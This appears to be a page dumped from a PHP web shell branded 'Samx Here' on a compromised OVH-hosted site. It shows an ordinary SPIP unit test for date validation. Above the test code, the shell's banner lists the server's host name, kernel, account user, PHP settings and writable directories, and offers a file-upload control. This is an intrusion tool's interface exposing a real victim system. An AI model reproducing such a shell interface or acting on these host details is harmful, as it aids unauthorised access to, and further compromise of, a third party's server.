Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/verifier/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/verifier/tests/verifier_date.php
<?php
/**
 * Test unitaire de la fonction verifier_date_dist
 * du fichier verifier/date.php
 *
 */

$test = 'verifier_date';

$remonte = "";
while (!is_file($remonte."test.inc") and !is_dir($remonte.'ecrire/'))
	$remonte = $remonte."../";
foreach ([$remonte."test.inc", $remonte."tests/test.inc", $remonte."tests/tests/legacy/test.inc"] as $f) {
	if (is_file($f)){
		require $f;
		break;
	}
}
if (!defined('_SPIP_TEST_INC')) {
	die('Impossible de trouver test.inc depuis ' .getcwd());
}


//
// hop ! on y va
//
$verifier_date = charger_fonction('date', 'verifier');
$err = tester_fun($verifier_date, essais_verifier_date());

// si le tableau $err est pas vide ca va pas
if ($err){
	die ('<dl>' . join('', $err) . '</dl>');
}

echo "OK";

function essais_verifier_date(){
	$erreur_standard = _T('verifier:erreur_date_format');
	$erreur_date_inexistante = _T('verifier:erreur_date');
	$essais = [

		// Dates seules
		//ajm
		[$erreur_date_inexistante,'2021/22/03',['format'=>'amj']],// Pas de 22ème mois!
		[$erreur_standard, '03/03/2021',['format'=>'amj']],// Une date mal formatée
		['','2021/03/22',['format' => 'amj']],
		//jma
		[$erreur_date_inexistante,'03/22/2021',['format' => 'jma']],// Pas de 22ème mois!
		['','22/03/2021',['format' => 'jma']],
		//mja
		[$erreur_date_inexistante,'22/03/2021',['format' => 'mja']],// Pas de 22ème mois!
		['','03/22/2021',['format' => 'mja']],
		// Deja formaté en mysql
		['','2021-03-22 12:11:10',['format' => 'mja', 'normaliser' => 'datetime']],
		// Avec les heures
		//Amj
		['',['date'=>'2021/03/22', 'heure' => '20:00'],['format' => 'amj']],
		[_T('verifier:erreur_heure'),['date'=>'2021/03/22', 'heure' => '20:68'],['format' => 'amj']],//Pas de 68'eme minutes
		[_T('verifier:erreur_heure'),['date'=>'2021/03/22', 'heure' => '25:01'],['format' => 'amj']],//Pas de 25ème heure


	];

	return $essais;
}


SAMX